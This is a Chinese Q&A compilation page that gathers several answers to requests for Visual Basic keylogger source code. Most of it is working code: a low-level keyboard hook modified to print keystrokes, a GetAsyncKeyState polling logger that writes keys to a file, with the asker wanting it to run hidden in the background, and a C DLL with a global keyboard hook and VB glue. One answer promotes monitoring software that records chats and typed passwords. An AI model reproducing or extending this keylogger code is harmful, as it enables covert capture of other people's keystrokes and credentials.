本文目录一览:
- 1、VB键盘记录
- 2、求vb键盘记录器源代码。
- 3、VB键盘记录代码?需要后台运行,需要存放到指定一个目标文件夹里面去!麻烦说详细点!
- 4、VB编写键盘记录器
- 5、我想要个vb写的键盘纪录的源代码,研究了很长时间的键盘钩子,也没成功~~20分
- 6、用VB写一个键盘记录器
VB键盘记录
这是一个拦截键盘的钩子,稍加改动就可以记录了
'Example Name: Trapping Special Key Events using a Low Level Keyboard Hook
'------------------------------------------------------------------------------
'
' BAS Moduel Code
'
'------------------------------------------------------------------------------
Option Explicit
Private Const WH_KEYBOARD_LL = 13 'enables monitoring of keyboard
'input events about to be posted
'in a thread input queue
Private Const HC_ACTION = 0 'wParam and lParam parameters
'contain information about a
'keyboard message
Private Const LLKHF_EXTENDED = H1 'test the extended-key flag
Private Const LLKHF_INJECTED = H10 'test the event-injected flag
Private Const LLKHF_ALTDOWN = H20 'test the context code
Private Const LLKHF_UP = H80 'test the transition-state flag
Private Const VK_TAB = H9 'virtual key constants
Private Const VK_CONTROL = H11
Private Const VK_ESCAPE = H1B
Private Type KBDLLHOOKSTRUCT
vkCode As Long 'a virtual-key code in the range 1 to 254
scanCode As Long 'hardware scan code for the key
flags As Long 'specifies the extended-key flag,
'event-injected flag, context code,
'and transition-state flag
time As Long 'time stamp for this message
dwExtraInfo As Long 'extra info associated with the message
End Type
Private Declare Function SetWindowsHookEx Lib "user32" _
Alias "SetWindowsHookExA" _
(ByVal idHook As Long, _
ByVal lpfn As Long, _
ByVal hmod As Long, _
ByVal dwThreadId As Long) As Long
Private Declare Function UnhookWindowsHookEx Lib "user32" _
(ByVal hHook As Long) As Long
Private Declare Function CallNextHookEx Lib "user32" _
(ByVal hHook As Long, _
ByVal nCode As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" _
Alias "RtlMoveMemory" _
(pDest As Any, _
pSource As Any, _
ByVal cb As Long)
Private Declare Function GetAsyncKeyState Lib "user32" _
(ByVal vKey As Long) As Integer
Private m_hDllKbdHook As Long 'private variable holding
'the handle to the hook procedure
Public Sub Main()
'set and obtain the handle to the keyboard hook
m_hDllKbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, _
AddressOf LowLevelKeyboardProc, _
App.hInstance, _
0)
If m_hDllKbdHook 0 Then
'its hooked!
MsgBox "Ctrl+Esc, Alt+Tab and Alt+Esc are blocked. " _
"Click OK to quit and re-enable the keys.", _
vbOKOnly Or vbInformation, _
"Keyboard Hook Active"
Call UnhookWindowsHookEx(m_hDllKbdHook)
Else
MsgBox "Failed to install low-level keyboard hook - " Err.LastDllError
End If
End Sub
Public Function LowLevelKeyboardProc(ByVal nCode As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long
Static kbdllhs As KBDLLHOOKSTRUCT
If nCode = HC_ACTION Then
Call CopyMemory(kbdllhs, ByVal lParam, Len(kbdllhs))
'改动的代码
Debug.Print Chr(kbdllhs.vkCode)
'以下是屏蔽的代码可以删除
'Ctrl+Esc --------------
If (kbdllhs.vkCode = VK_ESCAPE) And _
CBool(GetAsyncKeyState(VK_CONTROL) _
And H8000) Then
Debug.Print "Ctrl+Esc blocked"
LowLevelKeyboardProc = 1
Exit Function
End If 'kbdllhs.vkCode = VK_ESCAPE
'Alt+Tab --------------
If (kbdllhs.vkCode = VK_TAB) And _
CBool(kbdllhs.flags And _
LLKHF_ALTDOWN) Then
Debug.Print "Alt+Tab blocked"
LowLevelKeyboardProc = 1
Exit Function
End If 'kbdllhs.vkCode = VK_TAB
'Alt+Esc --------------
If (kbdllhs.vkCode = VK_ESCAPE) And _
CBool(kbdllhs.flags And _
LLKHF_ALTDOWN) Then
Debug.Print "Alt+Esc blocked"
LowLevelKeyboardProc = 1
Exit Function
End If 'kbdllhs.vkCode = VK_ESCAPE
End If 'nCode = HC_ACTION
'以上是屏蔽代码可以删除
LowLevelKeyboardProc = CallNextHookEx(m_hDllKbdHook, _
nCode, _
wParam, _
lParam)
End Function
求vb键盘记录器源代码。
这个我不会。
键盘记录,我使用的是电脑监控专家。
电脑监控专家软件主要功能:
1.键盘输入记录功能
记录键盘的所有输入,包括中文、英文、数字以及功能键按键记录。 *** 聊天记录、MSN聊天记录、发送邮件的内容以及上网登陆一些网站或邮箱时输入的用户名和密码都会被记录下来(提示:请勿将软件用于非法用途)。
2.屏幕显示记录功能
定时对全屏或活动的程序窗口进行截图保存。让你对电脑上的显示和操作了如指掌。
3.活动窗口监控功能
记录所有打开的窗口标题和打开的时间,并且可以禁止打开标题中包含你指定的文字的窗口。
VB键盘记录代码?需要后台运行,需要存放到指定一个目标文件夹里面去!麻烦说详细点!
给你个小例子,比如要记录是否按了a键,并且在按enter键后把键盘记录写入D:\1.txt Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integerdim s as stringsub OK()Open "d:\1.txt" For Output As #1
Print #1, s
Close #1end subPrivate Sub Timer1_Timer()X = GetAsyncKeyState(65)
If X = -32767 Then
s = s + "A"X = GetAsyncKeyState(13)
If X = -32767 Then
Call OK
Unload Me你可以完善这段代码,让timer控件记录所有键盘上的键,不明白可以再问我
VB编写键盘记录器
键盘记录没有必要用全局钩子,如果用不好会严重影响系统的效率·VB有一个API函数可以很好的实现键盘记录代码如下:通用部分声明:Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 'API函数的声明dim time as integer添加2个按钮,一个textbox控件。command1_click事件中添加:timer1.enable = truecommand1.enable = fal *** mand2.enable = true command2_click :timer2.enable = fal *** mand1.enable = truecommand2.enable = false form_load :
command1.enable = truecommand2.enable = false添加一个timer控件,interval属性设置为1000.Enable属性设置为false.并添加下面代码:time = time +1if time = "10" thentimer1.enable = fal *** mand1.enable = truecommand2.enable = falseelseFor i = 32 To 256
x = GetAsyncKeyState(i)
If x = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
x = GetAsyncKeyState(186)
If x = -32767 Then
Text1.Text = Text1.Text + ";"
End If
x = GetAsyncKeyState(187)
If x = -32767 Then
Text1.Text = Text1.Text + "="
End If
x = GetAsyncKeyState(188)
If x = -32767 Then
Text1.Text = Text1.Text + ","
End If
x = GetAsyncKeyState(189)
If x = -32767 Then
Text1.Text = Text1.Text + "-"
End If
x = GetAsyncKeyState(190)
If x = -32767 Then
Text1.Text = Text1.Text + "."
End If
x = GetAsyncKeyState(191)
If x = -32767 Then
Text1.Text = Text1.Text + "/"
End If'------------------------------
'数字的虚拟键
x = GetAsyncKeyState(96)
If x = -32767 Then
Text1.Text = Text1.Text + "0"
End If
x = GetAsyncKeyState(97)
If x = -32767 Then
Text1.Text = Text1.Text + "1"
End If
x = GetAsyncKeyState(98)
If x = -32767 Then
Text1.Text = Text1.Text + "2"
End If
x = GetAsyncKeyState(99)
If x = -32767 Then
Text1.Text = Text1.Text + "3"
End If
x = GetAsyncKeyState(100)
If x = -32767 Then
Text1.Text = Text1.Text + "4"
End If
x = GetAsyncKeyState(101)
If x = -32767 Then
Text1.Text = Text1.Text + "5"
End If
x = GetAsyncKeyState(102)
If x = -32767 Then
Text1.Text = Text1.Text + "6"
End If
x = GetAsyncKeyState(103)
If x = -32767 Then
Text1.Text = Text1.Text + "7"
End If
x = GetAsyncKeyState(104)
If x = -32767 Then
Text1.Text = Text1.Text + "8"
End If
x = GetAsyncKeyState(105)
If x = -32767 Then
Text1.Text = Text1.Text + "9"
End If
'--------------------------------------
x = GetAsyncKeyState(13)
If x = -32767 Then
Text1.Text = Text1.Text + " (回车键) "
End If
'--------------------------------------
x = GetAsyncKeyState(8)
If x = -32767 Then
Text1.Text = Text1.Text + " (退格键) "
End If
'--------------------------------------
x = GetAsyncKeyState(9)
If x = -32767 Then
Text1.Text = Text1.Text + "(TAB键)"
End If
'--------------------------------------
x = GetAsyncKeyState(16) ''shift键
If x = -32767 And TimeOut = 0 Then
Text1.Text = Text1.Text + "(Shift键)"
End If
'--------------------------------------
x = GetAsyncKeyState(17) ''Ctrl键
If x = -32767 Then
Text1.Text = Text1.Text + "(Ctrl键)"
End If
'--------------------------------------
x = GetAsyncKeyState(18)
If x = -32767 Then
Text1.Text = Text1.Text + "(ALT键)"
End If
'--------------------------------------
x = GetAsyncKeyState(46)
If x = -32767 Then
Text1.Text = Text1.Text + "(删除)"
End If
'--------------------------------------
x = GetAsyncKeyState(38)
If x = -32767 Then
Text1.Text = Text1.Text + "(向上)"
End If
'--------------------------------------
x = GetAsyncKeyState(40)
If x = -32767 Then
Text1.Text = Text1.Text + "(向下)"
End If
'--------------------------------------
x = GetAsyncKeyState(37)
If x = -32767 Then
Text1.Text = Text1.Text + "(向左)"
End If
'--------------------------------------
x = GetAsyncKeyState(39)
If x = -32767 Then
Text1.Text = Text1.Text + "(向右)"
End If
'--------------------------------------x = GetAsyncKeyState(112)
If x = -32767 Then
Text1.Text = Text1.Text + "[F1]"
End Ifx = GetAsyncKeyState(113)
If x = -32767 Then
Text1.Text = Text1.Text + "[F2]"
End Ifx = GetAsyncKeyState(114)
If x = -32767 Then
Text1.Text = Text1.Text + "[F3]"
End Ifx = GetAsyncKeyState(115)
If x = -32767 Then
Text1.Text = Text1.Text + "[F4]"
End Ifx = GetAsyncKeyState(116)
If x = -32767 Then
Text1.Text = Text1.Text + "[F5]"
End Ifx = GetAsyncKeyState(117)
If x = -32767 Then
Text1.Text = Text1.Text + "[F6]"
End Ifx = GetAsyncKeyState(118)
If x = -32767 Then
Text1.Text = Text1.Text + "[F7]"
End Ifx = GetAsyncKeyState(119)
If x = -32767 Then
Text1.Text = Text1.Text + "[F8]"
End Ifx = GetAsyncKeyState(120)
If x = -32767 Then
Text1.Text = Text1.Text + "[F9]"
End Ifx = GetAsyncKeyState(121)
If x = -32767 Then
Text1.Text = Text1.Text + "[F10]"
End Ifx = GetAsyncKeyState(122)
If x = -32767 Then
Text1.Text = Text1.Text + "[F11]"
End Ifx = GetAsyncKeyState(123)
If x = -32767 Then
Text1.Text = Text1.Text + "[F12]"
End IfNext iend if
End Sub
上面的代码中command1为开启按纽,command2为关闭按钮,按下开启按钮后将记录10秒内的键盘消息并在text1中显示我没有在窗体上输出,应为如果消息太多了会显示不好如果你要在窗体输出就改用print函数输出吧
我想要个vb写的键盘纪录的源代码,研究了很长时间的键盘钩子,也没成功~~20分
只用 vb 不好实现,要用到全局钩子,要放到 dll 文件里,而 vb 不容易做出动态链接库文件,给你个代码参考
窗体代码
Option Explicit
Private Sub Form_Load()
On Error Resume Next
SetKeyboardHook Me.hWnd, WM_USER
If Err.Number 0 Then
MsgBox "请先将 KeybHook.dll 复制到 Windows 的所在路径!", vbCritical
End
End If
On Error GoTo 0
prevWndProc = GetWindowLong(Me.hWnd, GWL_WNDPROC)
SetWindowLong Me.hWnd, GWL_WNDPROC, AddressOf WndProc
End Sub
Private Sub Form_Unload(Cancel As Integer)
ReleaseKeyboardHook
SetWindowLong Me.hWnd, GWL_WNDPROC, prevWndProc
End Sub
标准模块
Option Explicit
Public Const GWL_WNDPROC = (-4)
Public Const WM_USER = H400
Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Declare Function SetKeyboardHook Lib "KeybHook" (ByVal hwndPost As Long, ByVal Msg As Long) As Long
Declare Function ReleaseKeyboardHook Lib "KeybHook" () As Long
Public prevWndProc As Long
Function WndProc(ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
If Msg = WM_USER Then
Form1.List1.AddItem "wParam=" wParam ", lParam=" Hex(lParam)
Form1.List1.ListIndex = Form1.List1.NewIndex
End If
WndProc = CallWindowProc(prevWndProc, hWnd, Msg, wParam, lParam)
End Function
用来做dll的C代码
#include windows.h
#include windowsx.h
#include tchar.h
HINSTANCE g_hinstDll = NULL;
#pragma data_seg(".drectve")
static char szLinkDirectiveShared[] = "-section:Shared,rws";
#pragma data_seg()
#pragma data_seg("Shared")
HHOOK g_hhook = NULL;
HWND g_hwndPost = NULL;
UINT g_uMsgNotify = WM_USER;
#pragma data_seg()
static LRESULT WINAPI KeyboardHook_HookProc (
int nCode,
WPARAM wParam,
LPARAM lParam)
{
LRESULT lResult = CallNextHookEx(g_hhook, nCode, wParam, lParam);
if (nCode == HC_ACTION)
{
PostMessage(g_hwndPost, g_uMsgNotify, wParam, lParam);
}
return(lResult);
}
BOOL WINAPI SetKeyboardHook (HWND hWndPost, UINT Msg)
{
HHOOK hhook;
if (g_hhook != NULL) return(FALSE);
g_hwndPost = hWndPost;
g_uMsgNotify = Msg;
Sleep(0);
hhook = SetWindowsHookEx(WH_KEYBOARD, KeyboardHook_HookProc, g_hinstDll, 0);
InterlockedExchange((PLONG) g_hhook, (LONG) hhook);
return(g_hhook != NULL);
}
BOOL WINAPI ReleaseKeyboardHook()
{
BOOL fOK = TRUE;
if (g_hhook != NULL)
{
fOK = UnhookWindowsHookEx(g_hhook);
g_hhook = NULL;
}
return(fOK);
}
BOOL WINAPI DllMain (HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
g_hinstDll = hinstDll;
break;
}
return(TRUE);
}
用VB写一个键盘记录器
键盘记录器要用到消息钩子.(用SetWindowsHook函数)
这一函数只有放在DLL中才可拦截住所有键盘消息.
VB很难做到这一点.
一般都是用C语言或汇编写一个DLL文件,将SetWindowsHook函数,CallNextHookEx函数封装在里面.
再用VB写EXE,调用DLL中封装的函数.实现键盘记录功能.